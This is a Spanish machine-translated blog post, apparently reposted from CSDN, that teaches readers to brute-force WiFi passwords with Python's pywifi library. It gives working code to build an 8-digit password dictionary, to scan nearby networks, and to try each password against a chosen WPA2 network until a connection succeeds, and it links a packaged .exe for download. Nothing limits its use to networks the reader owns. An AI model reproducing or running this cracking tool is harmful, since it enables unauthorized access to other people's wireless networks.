Enséñele a descifrar WiFi con Python, ¡la libertad de tráfico ya no es un sueño!

Declaración de derechos de autor: la originalidad no es fácil, el plagio y la reimpresión están prohibidos en este artículo, ¡y se debe investigar la infracción!

1. Introducción e instalación de pywifi

Entorno de desarrollo: Windows10 Python3.6.4
Biblioteca de terceros: pywifi-1.1.12
IDE: PyCharm/Sublime Text

Introducción a pywifi:
pywifi es una biblioteca de terceros en python para operar interfaces inalámbricas Se puede usar en todas las plataformas y es compatible con Windows y Linux Aquí usamos para realizar operaciones wifi, incluida la conexión, escaneo, desconexión, etc.

Instalación de pywifi:

pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple

inserte la descripción de la imagen aquí
pywifi-1.1.12 depende de los tipos de comunicación, por lo que también debe instalar los tipos de comunicación

2. Construcción violenta de biblioteca de contraseñas WiFi

Las contraseñas WiFi generalmente consisten en números (0-9), letras (se distingue entre mayúsculas y minúsculas) y caracteres especiales (!@#&*., etc.). La contraseña se almacena en un archivo txt. Algunas contraseñas WiFi pueden ser un poco más complicado, basta con ampliar la longitud de los caracteres o añadir letras y caracteres especiales. El

código es el siguiente:

astring = "1234567890"    #可添加字母和特殊字符
pwds = it.product(astring, repeat=8)    #8位密码长度
with open(filename, 'a', encoding='utf-8') as f:
    for pwd in pwds:    
        f.write(''.join(pwd))
        f.write(''.join('\n'))

inserte la descripción de la imagen aquí

Hay 100,000,000 tipos de contraseñas WiFi de descifrado de fuerza bruta que consisten en dígitos 10, y el uso de memoria es de aproximadamente 953.67 MB.Se puede ver que el descifrado de fuerza bruta requiere una memoria relativamente alta

3. Codificación para descifrar WiFi

Código de escaneo WiFi:

interface = self.wifi.interfaces()[0]    #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results()    #返回一个列表

wifiNewList = []
for w in wifiList:
    wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))   #解决乱码问题并返回元组
    wifiNewList.append(wifiNameAndSignal)

wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True)    # 按信号强度倒序

index = 0
while index < len(wifi_signal_and_name_list):
    print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
    index += 1
print('\n' + '*' * 50)

El efecto de escaneo es el siguiente:
inserte la descripción de la imagen aquí

Código de crack WiFi:

profile = pywifi.Profile()    #创建连接文件(对象)
profile.ssid = wifiName        #wifi名称
profile.auth = const.AUTH_ALG_OPEN        #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK)    #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()        #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile)    #设置新的wifi连接文件

interface.connect(tmp_profile)    #开始尝试连接

startTime = time.time()
while time.time() - startTime < 1.5:
    if interface.status() == 4:
        print('连接成功!%s密码为:%s' % (profile.ssid, pwd))
        exit(0)
    else:
        print('正在尝试用密码 %s 暴力破解…………' % pwd)

El efecto de craqueo de la consola es el siguiente:
inserte la descripción de la imagen aquí

empaquetado en un archivo ejecutable .exe , los resultados de la prueba son los siguientes: ¡
inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
Se puede ver que el craqueo de fuerza bruta requiere mucha memoria y tiempo!

Tarea: ¿Piensa en algún algoritmo que pueda optimizar la memoria y el tiempo?

Five, descarga de script .exe

.exe script haga clic en mí para descargar

  • Puede ejecutarse correctamente sin configurar ningún entorno (solo se admite WiFi con contraseña de 8 dígitos, si desea descifrar WiFi más complicado, puede extender la longitud de los caracteres o agregar letras y caracteres especiales en el código fuente)
  • astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密码长度

6. Información del autor

Autor: La rutina de pesca de Xiaohong, Objetivo: ¡Hacer que la programación sea más interesante!

Concéntrese en algoritmos, reptiles, sitios web, desarrollo de juegos, análisis de datos, procesamiento de lenguaje natural, IA, etc. Esperamos su atención, ¡crezcamos y codifiquemos juntos!

Nota de derechos de autor: ¡Este artículo prohíbe el plagio y la reimpresión, y la infracción debe investigarse!

Supongo que te gusta

Origin blog.csdn.net/qq_44000141/article/details/128096169
Recomendado
Clasificación